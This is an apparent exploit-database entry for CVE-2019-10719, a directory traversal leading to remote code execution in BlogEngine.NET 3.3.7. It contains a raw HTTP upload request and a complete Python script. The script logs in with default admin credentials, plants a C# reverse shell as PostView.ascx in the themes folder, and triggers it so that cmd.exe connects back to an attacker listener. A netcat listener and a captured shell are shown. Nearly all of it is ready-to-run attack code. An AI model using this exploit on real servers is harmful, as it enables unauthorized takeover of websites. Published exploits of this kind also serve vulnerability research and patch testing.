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# Exploit Title: Directory Traversal + RCE on BlogEngine.NET # Date: 17 Jun 2019 # Exploit Author: Aaron Bishop # Vendor Homepage: https://blogengine.io/ # Version: v3.3.7 # Tested on: 3.3.7, 3.3.6 # CVE : 2019-10719 #1. Description #============== #BlogEngine.NET is vulnerable to an Directory Traversal on <code>/api/upload</code> which allows a RCE through the <code>theme</code> parameter. #2. Proof of Concept #============= #Using an account that has permissions to Edit Posts, upload a malicious file called <code>PostView.ascx</code>; exploit the directory traversal to upload the shell into the **/Custom/Themes** #directory: #~~~ #POST /api/upload?action=filemgr&dirPath=%2f..%2f..%2fCustom%2fThemes%2fRCE_Test HTTP/1.1 #Host: $RHOST #User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 #Accept: text/plain #Accept-Language: en-US,en;q=0.5 #Accept-Encoding: gzip, deflate #Cookie: XXX #Connection: close #Content-Type: multipart/form-data; boundary=---------------------------12143974373743678091868871063 #Content-Length: 2085 #-----------------------------12143974373743678091868871063 #Content-Disposition: form-data; filename="PostView.ascx" #<%@ Control Language="C#" AutoEventWireup="true" EnableViewState="false" Inherits="BlogEngine.Core.Web.Controls.PostViewBase" %> #<%@ Import Namespace="BlogEngine.Core" %> #<script runat="server"> #static System.IO.StreamWriter streamWriter; #protected override void OnLoad(EventArgs e) { #base.OnLoad(e); #using(System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient("$LHOST", 4445)) { #using(System.IO.Stream stream = client.GetStream()) { #using(System.IO.StreamReader rdr = new System.IO.StreamReader(stream)) { #streamWriter = new System.IO.StreamWriter(stream); #StringBuilder strInput = new StringBuilder(); #System.Diagnostics.Process p = new System.Diagnostics.Process(); #p.StartInfo.FileName = "cmd.exe"; #p.StartInfo.CreateNoWindow = true; #p.StartInfo.UseShellExecute = false; #p.StartInfo.RedirectStandardOutput = true; #p.StartInfo.RedirectStandardInput = true; #p.StartInfo.RedirectStandardError = true; #p.OutputDataReceived += new System.Diagnostics.DataReceivedEventHandler(CmdOutputDataHandler); #p.Start(); #p.BeginOutputReadLine(); #while(true) { #strInput.Append(rdr.ReadLine()); #p.StandardInput.WriteLine(strInput); #strInput.Remove(0, strInput.Length); #} } } } } #private static void CmdOutputDataHandler(object sendingProcess, System.Diagnostics.DataReceivedEventArgs outLine) { #StringBuilder strOutput = new StringBuilder(); #if (!String.IsNullOrEmpty(outLine.Data)) { #try { #strOutput.Append(outLine.Data); #streamWriter.WriteLine(strOutput); #streamWriter.Flush(); #} catch (Exception err) { } # } #} #</script> #<asp:PlaceHolder ID="phContent" runat="server" EnableViewState="false"></asp:PlaceHolder> #-----------------------------12143974373743678091868871063-- #~~~ #The RCE can be triggered by setting the **theme** parameter to **RCE_TEST**: $RHOST/?theme=RCE_Test #============================== import argparse import io import json import os import re import requests import sys """ Exploit for CVE-2019-10719 CVE Identified by: Aaron Bishop Exploit written by: Aaron Bishop Upload and trigger a reverse shell python exploit.py -t 192.168.10.9 -l 192.168.10.10:1337 Open a listener to capture the reverse shell - Metasploit or netcat nc -nlvp 1337 listening on [any] 1337 ... connect to [192.168.10.10] from (UNKNOWN) [192.168.10.9] 49680 Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. """ urls = { "login": "/Account/login.aspx", "traversal": "/api/filemanager" } def make_request(session, method, target, params={}, data={}, files={}): proxies = { "http": "127.0.0.1:8080", "https": "127.0.0.1:8080" } if method == 'GET': r = requests.Request(method, target, params=params) elif method == 'POST': if files: r = requests.Request(method, target, files=files) else: r = requests.Request(method, target, data=data) prep = session.prepare_request(r) resp = session.send(prep, verify=False, proxies=proxies) return resp.text def login(session, host, user, passwd): resp = make_request(session, 'GET', host+urls.get('login')) login_form = re.findall('<input\s+.*?name="(?P<name>.*?)"\s+.*?(?P<tag>\s+value="(?P<value>.*)")?\s/>', resp) login_data = dict([(i[0],i[2]) for i in login_form]) login_data.update({'ctl00$MainContent$LoginUser$UserName': user}) login_data.update({'ctl00$MainContent$LoginUser$Password': passwd}) resp = make_request(session, 'POST', host+urls.get('login'), data=login_data) def upload_shell(session, target, shell_dir, listener): try: lhost, lport = listener.split(':') except: print(target, " is not in the correct HOST:PORT format") sys.exit(1) shell = '''<%@ Control Language="C#" AutoEventWireup="true" EnableViewState="false" Inherits="BlogEngine.Core.Web.Controls.PostViewBase" %> <%@ Import Namespace="BlogEngine.Core" %> <script runat="server"> static System.IO.StreamWriter streamWriter; protected override void OnLoad(EventArgs e) { base.OnLoad(e); using(System.Net.Sockets.TcpClient client = new System.Net.Sockets.TcpClient("''' + lhost + '''", ''' + lport + ''')) { using(System.IO.Stream stream = client.GetStream()) { using(System.IO.StreamReader rdr = new System.IO.StreamReader(stream)) { streamWriter = new System.IO.StreamWriter(stream); StringBuilder strInput = new StringBuilder(); System.Diagnostics.Process p = new System.Diagnostics.Process(); p.StartInfo.FileName = "cmd.exe"; p.StartInfo.CreateNoWindow = true; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.RedirectStandardInput = true; p.StartInfo.RedirectStandardError = true; p.OutputDataReceived += new System.Diagnostics.DataReceivedEventHandler(CmdOutputDataHandler); p.Start(); p.BeginOutputReadLine(); while(true) { strInput.Append(rdr.ReadLine()); p.StandardInput.WriteLine(strInput); strInput.Remove(0, strInput.Length); } } } } } private static void CmdOutputDataHandler(object sendingProcess, System.Diagnostics.DataReceivedEventArgs outLine) { StringBuilder strOutput = new StringBuilder(); if (!String.IsNullOrEmpty(outLine.Data)) { try { strOutput.Append(outLine.Data); streamWriter.WriteLine(strOutput); streamWriter.Flush(); } catch (Exception err) { } } } </script> <asp:PlaceHolder ID="phContent" runat="server" EnableViewState="false"></asp:PlaceHolder> ''' make_request(session, "POST", target + "/api/upload?action=filemgr&dirPath=~/App_Data/files/../../Custom/Themes/" + shell_dir, files={"file": ("PostView.ascx".format(shell_dir=shell_dir), shell, "application/octet-stream")}) def trigger_shell(session, target, shell_dir): make_request(session, "GET", target + "/", params={"theme": shell_dir}) def main(target, user, passwd, shell_dir, listener): with requests.Session() as session: login(session, target, user, passwd) upload_shell(session, target, shell_dir, listener) trigger_shell(session, target, shell_dir) if __name__ == "__main__": parser = argparse.ArgumentParser(description='Exploit CVE-2019-10719 Path traversal + RCE') parser.add_argument('-t', '--target', action="store", dest="target", required=True, help='Target host') parser.add_argument('-u', '--user', default="admin", action="store", dest="user", help='Account with file upload permissions on blog') parser.add_argument('-p', '--passwd', default="admin", action="store", dest="passwd", help='Password for account') parser.add_argument('-d', '--dir', nargs='?', default="RCE", help='Theme Directory to write Reverse shell too') parser.add_argument('-s', '--ssl', action="store_true", help="Force SSL") parser.add_argument('-l', '--listener', action="store", help="Host:Port combination reverse shell should back to - 192.168.10.10:1337") args = parser.parse_args() protocol = "https://" if args.ssl else "http://" main(protocol + args.target, args.user, args.passwd, args.dir, args.listener) |
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